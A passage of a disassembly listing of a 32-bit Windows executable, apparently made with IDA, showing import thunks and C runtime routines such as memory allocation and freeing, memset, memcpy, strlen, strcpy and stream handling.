jmp dword_411E98 sub_406D86 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_406D8C proc near ; CODE XREF: sub_4014CF+56p jmp dword_411E9C sub_406D8C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_406D92 proc near ; CODE XREF: sub_401542+11p jmp dword_411EA0 sub_406D92 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_406D98 proc near ; CODE XREF: sub_401567+28p ; sub_4015B7+28p ... jmp dword_411EA4 sub_406D98 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_406D9E proc near ; CODE XREF: sub_401567+3Ap jmp dword_411EA8 sub_406D9E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_406DA4 proc near ; CODE XREF: sub_4015B7+3Ap ; sub_402B02+E5p ... jmp dword_411EAC sub_406DA4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_406DAA proc near ; CODE XREF: sub_401607+8p jmp dword_411EB0 sub_406DAA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_406DB0 proc near ; CODE XREF: sub_401621+30p ; sub_40166C+3Fp jmp dword_411EB4 sub_406DB0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_406DB6 proc near ; CODE XREF: sub_40166C+5Fp ; DMN0:00401844p ... jmp dword_411EB8 sub_406DB6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_406DBC proc near ; CODE XREF: sub_4016DC+17p ; sub_401713+18p ... jmp dword_411EBC sub_406DBC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_406DC2 proc near ; CODE XREF: sub_401787+17p jmp dword_411EC0 sub_406DC2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_406DC8 proc near ; CODE XREF: sub_4017BE+8p ; sub_4025A9+EDp ... jmp dword_411EC4 sub_406DC8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_406DCE proc near ; CODE XREF: sub_4017BE+1Bp jmp dword_411EC8 sub_406DCE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_406DD4 proc near ; CODE XREF: DMN0:00401827p jmp dword_411ECC sub_406DD4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_406DDA proc near ; CODE XREF: DMN0:00401876p jmp dword_411ED0 sub_406DDA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_406DE0 proc near ; CODE XREF: DMN0:00401897p ; sub_403113+5Cp ... jmp dword_411ED4 sub_406DE0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_406DE6 proc near ; CODE XREF: sub_402B02+142p ; sub_403113+FCp ... jmp dword_411ED8 sub_406DE6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_406DEC proc near ; CODE XREF: sub_402B02+1DBp ; sub_403113+16Dp ... jmp dword_411EDC sub_406DEC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_406DF2 proc near ; CODE XREF: sub_402B02+1E4p ; sub_403113+176p ... jmp dword_411EE0 sub_406DF2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_406DF8 proc near ; CODE XREF: sub_4030A4+23p ; sub_4030A4+4Bp jmp dword_411EE8 sub_406DF8 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_406E00 proc near ; CODE XREF: sub_401048+15p ; DMN0:0040110Bp arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebx push esi mov eax, [esp+8+arg_0] mul [esp+8+arg_4] mov esi, eax push esi call sub_408260 pop ecx mov ebx, eax test ebx, ebx jz short loc_406E27 mov edx, ebx mov ecx, esi xor eax, eax push edi mov edi, edx rep stosb pop edi mov eax, edx loc_406E27: ; CODE XREF: sub_406E00+17j mov eax, ebx pop esi pop ebx retn sub_406E00 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_406E30 proc near ; CODE XREF: sub_4071B0+59p var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 18h push ebx push esi push edi or [ebp+var_C], 0FFFFFFFFh mov ebx, [ebp+arg_0] add ebx, 0FFFFFFFCh test dword ptr [ebx], 80000000h jnz short loc_406E5B call sub_408460 mov dword ptr [eax], 16h jmp loc_40719D ; --------------------------------------------------------------------------- loc_406E5B: ; CODE XREF: sub_406E30+19j mov eax, [ebx] mov edi, eax and edi, 7FFFFFFFh lea eax, [ebx-4] mov [ebp+var_4], eax lea ebx, [ebx+edi*4-4] lea esi, [ebx+4] test dword ptr [esi], 80000000h jnz loc_406F0B mov eax, [esi] lea esi, [esi+eax*4-4] mov eax, dword_4111E4 cmp [esi], eax ja short loc_406EC0 mov eax, dword_4111DC cmp [esi], eax ja short loc_406EA8 mov eax, dword_4111D8 cmp [esi], eax setnbe al and eax, 1 mov [ebp+var_10], eax jmp short loc_406EBB ; --------------------------------------------------------------------------- loc_406EA8: ; CODE XREF: sub_406E30+64j mov eax, dword_4111E0 cmp [esi], eax setnbe al and eax, 1 add eax, 2 mov [ebp+var_10], eax loc_406EBB: ; CODE XREF: sub_406E30+76j mov eax, [ebp+var_10] jmp short loc_406EF1 ; --------------------------------------------------------------------------- loc_406EC0: ; CODE XREF: sub_406E30+5Bj mov eax, dword_4111EC cmp [esi], eax ja short loc_406EDE mov eax, dword_4111E8 cmp [esi], eax setnbe al and eax, 1 add eax, 4 mov [ebp+var_10], eax jmp short loc_406EF1 ; --------------------------------------------------------------------------- loc_406EDE: ; CODE XREF: sub_406E30+97j mov eax, dword_4111F0 cmp [esi], eax setnbe al and eax, 1 add eax, 6 mov [ebp+var_10], eax loc_406EF1: ; CODE XREF: sub_406E30+8Ej ; sub_406E30+ACj mov eax, [ebp+var_10] mov [ebp+var_C], eax mov eax, [esi] add edi, eax mov [esi], edi mov eax, edi shl eax, 2 mov edx, esi sub edx, eax mov [edx+4], edi mov ebx, esi loc_406F0B: ; CODE XREF: sub_406E30+48j mov eax, [ebp+var_4] test dword ptr [eax], 80000000h jnz loc_407037 mov eax, [ebp+var_4] mov edx, [eax] add edi, edx mov edx, dword_4111E4 cmp [eax], edx ja short loc_406F6A mov eax, [ebp+var_4] mov edx, dword_4111DC cmp [eax], edx ja short loc_406F4E mov eax, [ebp+var_4] mov edx, dword_4111D8 cmp [eax], edx setnbe al and eax, 1 mov [ebp+var_10], eax jmp short loc_406F65 ; --------------------------------------------------------------------------- loc_406F4E: ; CODE XREF: sub_406E30+106j mov eax, [ebp+var_4] mov edx, dword_4111E0 cmp [eax], edx setnbe al and eax, 1 add eax, 2 mov [ebp+var_10], eax loc_406F65: ; CODE XREF: sub_406E30+11Cj mov eax, [ebp+var_10] jmp short loc_406FA7 ; --------------------------------------------------------------------------- loc_406F6A: ; CODE XREF: sub_406E30+F9j mov eax, [ebp+var_4] mov edx, dword_4111EC cmp [eax], edx ja short loc_406F90 mov eax, [ebp+var_4] mov edx, dword_4111E8 cmp [eax], edx setnbe al and eax, 1 add eax, 4 mov [ebp+var_10], eax jmp short loc_406FA7 ; --------------------------------------------------------------------------- loc_406F90: ; CODE XREF: sub_406E30+145j mov eax, [ebp+var_4] mov edx, dword_4111F0 cmp [eax], edx setnbe al and eax, 1 add eax, 6 mov [ebp+var_10], eax loc_406FA7: ; CODE XREF: sub_406E30+138j ; sub_406E30+15Ej mov eax, [ebp+var_10] mov [ebp+var_8], eax mov eax, [ebp+var_4] mov eax, [eax-4] mov [ebp+var_14], eax cmp eax, [ebp+var_4] jnz short loc_406FF2 mov eax, [ebp+var_8] mov dword_4111A8[eax*4], 0 mov eax, [ebp+var_8] cmp dword_4111F8, eax jnz short loc_407029 jmp short loc_406FDC ; --------------------------------------------------------------------------- loc_406FD6: ; CODE XREF: sub_406E30+1BEj inc dword_4111F8 loc_406FDC: ; CODE XREF: sub_406E30+1A4j mov eax, dword_4111F8 cmp dword_4111A8[eax*4], 0 jnz short loc_406FF0 cmp eax, 7 jl short loc_406FD6 loc_406FF0: ; CODE XREF: sub_406E30+1B9j jmp short loc_407029 ; --------------------------------------------------------------------------- loc_406FF2: ; CODE XREF: sub_406E30+189j mov eax, [ebp+var_4] mov eax, [eax-8] mov [ebp+var_18], eax mov edx, [ebp+var_18] mov eax, [ebp+var_14] mov [edx-4], eax mov edx, [ebp+var_14] mov eax, [ebp+var_18] mov [edx-8], eax mov eax, [ebp+var_8] mov eax, dword_4111A8[eax*4] cmp eax, [ebp+var_4] jnz short loc_407029 mov eax, [ebp+var_8] mov edx, [ebp+var_18] mov dword_4111A8[eax*4], edx loc_407029: ; CODE XREF: sub_406E30+1A2j ; sub_406E30:loc_406FF0j ... mov [ebx], edi mov eax, edi shl eax, 2 mov edx, ebx sub edx, eax mov [edx+4], edi loc_407037: ; CODE XREF: sub_406E30+E4j cmp edi, dword_4111E4 ja short loc_407071 cmp edi, dword_4111DC ja short loc_407059 mov eax, dword_4111D8 cmp edi, eax setnbe al and eax, 1 mov [ebp+var_10], eax jmp short loc_40706C ; --------------------------------------------------------------------------- loc_407059: ; CODE XREF: sub_406E30+215j mov eax, dword_4111E0 cmp edi, eax setnbe al and eax, 1 add eax, 2 mov [ebp+var_10], eax loc_40706C: ; CODE XREF: sub_406E30+227j mov eax, [ebp+var_10] jmp short loc_4070A1 ; --------------------------------------------------------------------------- loc_407071: ; CODE XREF: sub_406E30+20Dj cmp edi, dword_4111EC ja short loc_40708E mov eax, dword_4111E8 cmp edi, eax setnbe al and eax, 1 add eax, 4 mov [ebp+var_10], eax jmp short loc_4070A1 ; --------------------------------------------------------------------------- loc_40708E: ; CODE XREF: sub_406E30+247j mov eax, dword_4111F0 cmp edi, eax setnbe al and eax, 1 add eax, 6 mov [ebp+var_10], eax loc_4070A1: ; CODE XREF: sub_406E30+23Fj ; sub_406E30+25Cj mov eax, [ebp+var_10] mov [ebp+var_8], eax cmp [ebp+var_C], eax jz loc_40719D cmp [ebp+var_C], 0 jl short loc_407129 mov eax, [ebx-4] mov [ebp+var_14], eax cmp ebx, [ebp+var_14] jnz short loc_4070F8 mov eax, [ebp+var_C] mov dword_4111A8[eax*4], 0 mov eax, [ebp+var_C] cmp dword_4111F8, eax jnz short loc_407129 jmp short loc_4070E2 ; --------------------------------------------------------------------------- loc_4070DC: ; CODE XREF: sub_406E30+2C4j inc dword_4111F8 loc_4070E2: ; CODE XREF: sub_406E30+2AAj mov eax, dword_4111F8 cmp dword_4111A8[eax*4], 0 jnz short loc_4070F6 cmp eax, 7 jl short loc_4070DC loc_4070F6: ; CODE XREF: sub_406E30+2BFj jmp short loc_407129 ; --------------------------------------------------------------------------- loc_4070F8: ; CODE XREF: sub_406E30+28Fj mov eax, [ebx-8] mov [ebp+var_18], eax mov edx, [ebp+var_18] mov eax, [ebp+var_14] mov [edx-4], eax mov edx, [ebp+var_14] mov eax, [ebp+var_18] mov [edx-8], eax mov eax, [ebp+var_C] cmp ebx, dword_4111A8[eax*4] jnz short loc_407129 mov eax, [ebp+var_C] mov edx, [ebp+var_18] mov dword_4111A8[eax*4], edx loc_407129: ; CODE XREF: sub_406E30+284j ; sub_406E30+2A8j ... mov eax, [ebp+var_8] mov eax, dword_4111A8[eax*4] mov [ebp+var_18], eax test eax, eax jnz short loc_40715F mov [ebp+var_14], ebx mov [ebp+var_18], ebx mov eax, [ebp+var_8] mov dword_4111A8[eax*4], ebx mov eax, [ebp+var_8] cmp dword_4111F8, eax jle short loc_407168 mov eax, [ebp+var_8] mov dword_4111F8, eax jmp short loc_407168 ; --------------------------------------------------------------------------- loc_40715F: ; CODE XREF: sub_406E30+308j mov eax, [ebp+var_18] mov eax, [eax-8] mov [ebp+var_14], eax loc_407168: ; CODE XREF: sub_406E30+323j ; sub_406E30+32Dj mov eax, [ebp+var_18] mov [ebx-4], eax mov edx, [ebp+var_18] mov [edx-8], ebx mov edx, [ebp+var_14] mov [edx-4], ebx mov eax, [ebp+var_14] mov [ebx-8], eax mov eax, edi shl eax, 2 mov edx, ebx sub edx, eax mov [edx+4], edi mov [ebx], edi mov eax, [ebp+var_8] mov dword_4111FC, eax mov dword_4111A8[eax*4], ebx loc_40719D: ; CODE XREF: sub_406E30+26j ; sub_406E30+27Aj pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_406E30 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4071B0 proc near ; CODE XREF: sub_401076+Fp ; DMN0:00401138p ... var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 ; FUNCTION CHUNK AT 00407223 SIZE 00000011 BYTES push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_40F8A4 push offset sub_408478 push large dword ptr fs:0 mov large fs:0, esp sub esp, 8 push ebx push esi push edi mov [ebp+var_18], esp mov ebx, [ebp+arg_0] test ebx, ebx jz short loc_407223 lea eax, [ebx-4] cmp eax, dword_4111D0 jbe short loc_4071F0 cmp eax, dword_4111CC jb short loc_4071F9 loc_4071F0: ; CODE XREF: sub_4071B0+36j push ebx call sub_4086F0 pop ecx jmp short loc_407223 ; --------------------------------------------------------------------------- loc_4071F9: ; CODE XREF: sub_4071B0+3Ej push 0 call sub_408800 pop ecx mov [ebp+var_4], 0 push ebx call sub_406E30 pop ecx or [ebp+var_4], 0FFFFFFFFh call sub_40721A jmp short loc_407223 sub_4071B0 endp ; =============== S U B R O U T I N E ======================================= sub_40721A proc near ; CODE XREF: sub_4071B0+63p ; DATA XREF: DMN0:0040F8ACo push 0 call sub_408880 pop ecx retn sub_40721A endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4071B0 loc_407223: ; CODE XREF: sub_4071B0+2Bj ; sub_4071B0+47j ... pop edi pop esi pop ebx mov ecx, [ebp+var_10] mov large fs:0, ecx mov esp, ebp pop ebp retn ; END OF FUNCTION CHUNK FOR sub_4071B0 ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_407240 proc near ; DATA XREF: sub_407280+38o ; sub_4495A1+38o arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ebx push esi push edi mov ebx, [ebp+arg_0] mov esi, [ebp+arg_8] mov edi, ebx cmp [edi+4], esi jnb short loc_407256 mov esi, [edi+4] loc_407256: ; CODE XREF: sub_407240+11j push esi mov eax, [ebp+arg_4] push eax mov eax, [edi] push eax call sub_4076F0 add esp, 0Ch mov eax, [edi] add eax, esi mov [edi], eax sub [edi+4], esi mov eax, ebx pop edi pop esi pop ebx pop ebp retn sub_407240 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_407280 proc near ; CODE XREF: DMN0:004010F0p ; DMN0:00401120p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 8 push ebx cmp [ebp+arg_4], 0 jnz short loc_40729C lea eax, [ebp+var_4] mov [ebp+var_8], eax mov [ebp+var_4], 0 jmp short loc_4072AC ; --------------------------------------------------------------------------- loc_40729C: ; CODE XREF: sub_407280+Bj mov eax, [ebp+arg_0] mov [ebp+var_8], eax mov eax, [ebp+arg_4] dec eax mov [ebp+arg_4], eax mov [ebp+var_4], eax loc_4072AC: ; CODE XREF: sub_407280+1Aj mov eax, [ebp+arg_C] push eax mov eax, [ebp+arg_8] push eax lea eax, [ebp+var_8] push eax push offset sub_407240 call sub_4088A0 add esp, 10h mov ebx, eax mov edx, [ebp+var_8] mov byte ptr [edx], 0 mov eax, ebx pop ebx mov esp, ebp pop ebp retn sub_407280 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4072E0 proc near ; DATA XREF: sub_407320+22o ; sub_449641+22o var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 4 push ebx push esi push edi mov ebx, [ebp+arg_0] mov esi, [ebp+arg_8] push 0 lea eax, [ebp+var_4] push eax push esi mov eax, [ebp+arg_4] push eax push ebx call dword_411D94 test eax, eax jz short loc_40730E cmp [ebp+var_4], esi jnz short loc_40730E mov edi, ebx jmp short loc_407310 ; --------------------------------------------------------------------------- loc_40730E: ; CODE XREF: sub_4072E0+23j ; sub_4072E0+28j xor edi, edi loc_407310: ; CODE XREF: sub_4072E0+2Cj mov eax, edi pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_4072E0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_407320 proc near ; CODE XREF: DMN0:00401130p ; DMN0:0040114Cp ... arg_0 = dword ptr 8 arg_4 = byte ptr 0Ch push ebp mov ebp, esp push ebx push esi push edi call sub_408B20 mov ebx, eax cmp eax, 0FFFFFFFFh jnz short loc_407339 or eax, 0FFFFFFFFh jmp short loc_407351 ; --------------------------------------------------------------------------- loc_407339: ; CODE XREF: sub_407320+12j lea edi, [ebp+arg_4] push edi mov eax, [ebp+arg_0] push eax push ebx push offset sub_4072E0 call sub_4088A0 add esp, 10h mov esi, eax loc_407351: ; CODE XREF: sub_407320+17j pop edi pop esi pop ebx pop ebp retn sub_407320 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_407360 proc near ; DATA XREF: sub_407380+11o ; sub_4496A1+11o arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ebx mov ebx, [ebp+arg_8] push ebx mov eax, [ebp+arg_4] push eax mov eax, [ebp+arg_0] push eax call sub_4076F0 add esp, 0Ch add eax, ebx pop ebx pop ebp retn sub_407360 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_407380 proc near ; CODE XREF: DMN0:004011CCp ; sub_4025A9+17Fp ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = byte ptr 10h push ebp mov ebp, esp push ebx push esi lea esi, [ebp+arg_8] push esi mov eax, [ebp+arg_4] push eax mov eax, [ebp+arg_0] push eax push offset sub_407360 call sub_4088A0 add esp, 10h mov ebx, eax test ebx, ebx jl short loc_4073AB mov eax, [ebp+arg_0] mov byte ptr [eax+ebx], 0 loc_4073AB: ; CODE XREF: sub_407380+22j mov eax, ebx pop esi pop ebx pop ebp retn sub_407380 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4073C0 proc near ; CODE XREF: DMN0:004011F1p ; sub_403838+77p ... var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch ; FUNCTION CHUNK AT 00407424 SIZE 00000014 BYTES push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_40F8B0 push offset sub_408478 push large dword ptr fs:0 mov large fs:0, esp sub esp, 0Ch push ebx push esi push edi mov [ebp+var_18], esp push 6 call sub_408800 pop ecx mov [ebp+var_4], 0 call sub_408B80 push 0FFFFFFFFh push eax mov eax, [ebp+arg_4] push eax mov eax, [ebp+arg_0] push eax call sub_408BE0 add esp, 10h mov [ebp+var_1C], eax or [ebp+var_4], 0FFFFFFFFh call sub_40741B jmp short loc_407424 sub_4073C0 endp ; =============== S U B R O U T I N E ======================================= sub_40741B proc near ; CODE XREF: sub_4073C0+54p ; DATA XREF: DMN0:0040F8B8o push 6 call sub_408880 pop ecx retn sub_40741B endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4073C0 loc_407424: ; CODE XREF: sub_4073C0+59j mov eax, [ebp+var_1C] pop edi pop esi pop ebx mov ecx, [ebp+var_10] mov large fs:0, ecx mov esp, ebp pop ebp retn ; END OF FUNCTION CHUNK FOR sub_4073C0 ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_407440 proc near ; DATA XREF: sub_407470+10o ; sub_449791+10o arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ebx push esi push edi mov ebx, [ebp+arg_0] mov esi, [ebp+arg_8] push ebx push esi push 1 mov eax, [ebp+arg_4] push eax call sub_407820 add esp, 10h cmp eax, esi jnz short loc_407464 mov edi, ebx jmp short loc_407466 ; --------------------------------------------------------------------------- loc_407464: ; CODE XREF: sub_407440+1Ej xor edi, edi loc_407466: ; CODE XREF: sub_407440+22j mov eax, edi pop edi pop esi pop ebx pop ebp retn sub_407440 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_407470 proc near ; CODE XREF: DMN0:0040120Bp arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ebx mov eax, [ebp+arg_8] push eax mov eax, [ebp+arg_4] push eax mov eax, [ebp+arg_0] push eax push offset sub_407440 call sub_4088A0 add esp, 10h mov ebx, eax pop ebx pop ebp retn sub_407470 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_4074A0 proc near ; DATA XREF: sub_4074C0+48o ; sub_4497E1+48o push ebx xor ebx, ebx loc_4074A3: ; CODE XREF: sub_4074A0+1Cj mov eax, off_411370[ebx*4] test eax, eax jz short loc_4074B5 push eax call sub_407620 pop ecx loc_4074B5: ; CODE XREF: sub_4074A0+Cj inc ebx cmp ebx, 100h jb short loc_4074A3 pop ebx retn sub_4074A0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4074C0 proc near ; CODE XREF: sub_408BE0:loc_408D14p ; sub_408F60+B2p ... var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 ; FUNCTION CHUNK AT 00407527 SIZE 00000011 BYTES push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_40F8BC push offset sub_408478 push large dword ptr fs:0 mov large fs:0, esp sub esp, 8 push ebx push esi push edi mov [ebp+var_18], esp push 6 call sub_408800 pop ecx mov [ebp+var_4], 0 cmp dword_41105C, 0 jnz short loc_407513 mov dword_41105C, 1 push offset sub_4074A0 call sub_408D30 pop ecx loc_407513: ; CODE XREF: sub_4074C0+3Cj or [ebp+var_4], 0FFFFFFFFh call sub_40751E jmp short loc_407527 sub_4074C0 endp ; =============== S U B R O U T I N E ======================================= sub_40751E proc near ; CODE XREF: sub_4074C0+57p ; DATA XREF: DMN0:0040F8C4o push 6 call sub_408880 pop ecx retn sub_40751E endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4074C0 loc_407527: ; CODE XREF: sub_4074C0+5Cj pop edi pop esi pop ebx mov ecx, [ebp+var_10] mov large fs:0, ecx mov esp, ebp pop ebp retn ; END OF FUNCTION CHUNK FOR sub_4074C0 ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_407540 proc near ; CODE XREF: sub_407620+39p arg_0 = dword ptr 4 push ebx push esi push edi mov ebx, [esp+0Ch+arg_0] push ebx call sub_408D60 pop ecx mov esi, eax test word ptr [ebx], 40h jz short loc_407561 mov eax, [ebx+8] push eax call sub_4071B0 pop ecx loc_407561: ; CODE XREF: sub_407540+15j mov dword ptr [ebx+8], 0 mov eax, [ebx+4] test eax, eax jl short loc_40757D push eax call sub_408EE0 pop ecx test eax, eax jz short loc_40757D or esi, 0FFFFFFFFh loc_40757D: ; CODE XREF: sub_407540+2Dj ; sub_407540+38j mov eax, [ebx+3Ch] test eax, eax jz short loc_4075A3 push eax call sub_407B50 pop ecx test eax, eax jz short loc_407592 or esi, 0FFFFFFFFh loc_407592: ; CODE XREF: sub_407540+4Dj mov eax, [ebx+3Ch] push eax call sub_4071B0 pop ecx mov dword ptr [ebx+3Ch], 0 loc_4075A3: ; CODE XREF: sub_407540+42j test word ptr [ebx], 80h jz short loc_4075D4 xor edi, edi loc_4075AC: ; CODE XREF: sub_407540+89j cmp ebx, off_411370[edi*4] jnz short loc_4075C2 mov off_411370[edi*4], 0 jmp short loc_4075CB ; --------------------------------------------------------------------------- loc_4075C2: ; CODE XREF: sub_407540+73j inc edi cmp edi, 100h jb short loc_4075AC loc_4075CB: ; CODE XREF: sub_407540+80j push ebx call sub_4071B0 pop ecx jmp short loc_40760D ; --------------------------------------------------------------------------- loc_4075D4: ; CODE XREF: sub_407540+68j mov word ptr [ebx], 0 or dword ptr [ebx+4], 0FFFFFFFFh lea eax, [ebx+48h] mov [ebx+8], eax lea eax, [ebx+48h] mov [ebx+10h], eax lea eax, [ebx+48h] mov [ebx+14h], eax lea eax, [ebx+48h] mov [ebx+2Ch], eax lea eax, [ebx+48h] mov [ebx+18h], eax lea eax, [ebx+48h] mov [ebx+30h], eax lea eax, [ebx+48h] mov [ebx+1Ch], eax lea eax, [ebx+28h] mov [ebx+20h], eax loc_40760D: ; CODE XREF: sub_407540+92j mov eax, esi pop edi pop esi pop ebx retn sub_407540 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_407620 proc near ; CODE XREF: DMN0:00401214p ; sub_403838+108p ... var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 ; FUNCTION CHUNK AT 00407676 SIZE 00000014 BYTES push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_40F8C8 push offset sub_408478 push large dword ptr fs:0 mov large fs:0, esp sub esp, 0Ch push ebx push esi push edi mov [ebp+var_18], esp push 6 call sub_408800 pop ecx mov [ebp+var_4], 0 mov eax, [ebp+arg_0] push eax call sub_407540 pop ecx mov [ebp+var_1C], eax or [ebp+var_4], 0FFFFFFFFh call sub_40766D jmp short loc_407676 sub_407620 endp ; =============== S U B R O U T I N E ======================================= sub_40766D proc near ; CODE XREF: sub_407620+46p ; DATA XREF: DMN0:0040F8D0o push 6 call sub_408880 pop ecx retn sub_40766D endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_407620 loc_407676: ; CODE XREF: sub_407620+4Bj mov eax, [ebp+var_1C] pop edi pop esi pop ebx mov ecx, [ebp+var_10] mov large fs:0, ecx mov esp, ebp pop ebp retn ; END OF FUNCTION CHUNK FOR sub_407620 ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_407690 proc near ; CODE XREF: sub_401567+Fp ; sub_4015B7+Fp ... arg_0 = dword ptr 4 arg_4 = byte ptr 8 arg_8 = dword ptr 0Ch mov edx, [esp+arg_8] test edx, edx jz short loc_4076DE mov ecx, [esp+arg_0] xor eax, eax mov al, [esp+arg_4] push edi mov edi, ecx cmp edx, 4 jb short loc_4076D7 neg ecx and ecx, 3 jz short loc_4076B9 sub edx, ecx loc_4076B3: ; CODE XREF: sub_407690+27j mov [edi], al inc edi dec ecx jnz short loc_4076B3 loc_4076B9: ; CODE XREF: sub_407690+1Fj mov ecx, eax shl eax, 8 add eax, ecx mov ecx, eax shl eax, 10h add eax, ecx mov ecx, edx and edx, 3 shr ecx, 2 jz short loc_4076D7 rep stosd test edx, edx jz short loc_4076DD loc_4076D7: ; CODE XREF: sub_407690+18j ; sub_407690+3Fj ... mov [edi], al inc edi dec edx jnz short loc_4076D7 loc_4076DD: ; CODE XREF: sub_407690+45j pop edi loc_4076DE: ; CODE XREF: sub_407690+6j mov eax, [esp+arg_0] retn sub_407690 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_4076F0 proc near ; CODE XREF: sub_401A55+2Cp ; sub_401ADA+57p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push ebx mov ecx, [esp+4+arg_8] mov ebx, [esp+4+arg_0] mov edx, [esp+4+arg_4] jmp short loc_407706 ; --------------------------------------------------------------------------- loc_4076FF: ; CODE XREF: sub_4076F0+18j mov al, [edx] mov [ebx], al inc ebx inc edx dec ecx loc_407706: ; CODE XREF: sub_4076F0+Dj test ecx, ecx jnz short loc_4076FF mov eax, [esp+4+arg_0] pop ebx retn sub_4076F0 endp ; =============== S U B R O U T I N E ======================================= sub_407710 proc near ; CODE XREF: sub_402208+2Ep ; sub_402511+11p ... arg_0 = dword ptr 4 mov ecx, [esp+arg_0] mov edx, ecx jmp short loc_407719 ; --------------------------------------------------------------------------- loc_407718: ; CODE XREF: sub_407710+Cj inc edx loc_407719: ; CODE XREF: sub_407710+6j cmp byte ptr [edx], 0 jnz short loc_407718 mov eax, edx sub eax, ecx retn sub_407710 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_407730 proc near ; CODE XREF: sub_402296+3Fp ; sub_4025A9+2D6p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebx push edi mov ecx, [esp+8+arg_0] mov ebx, [esp+8+arg_4] mov edi, ecx loc_40773C: ; CODE XREF: sub_407730+18j mov eax, edi inc edi mov edx, ebx inc ebx mov dl, [edx] mov [eax], dl test dl, dl jnz short loc_40773C mov eax, ecx pop edi pop ebx retn sub_407730 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_407750 proc near ; CODE 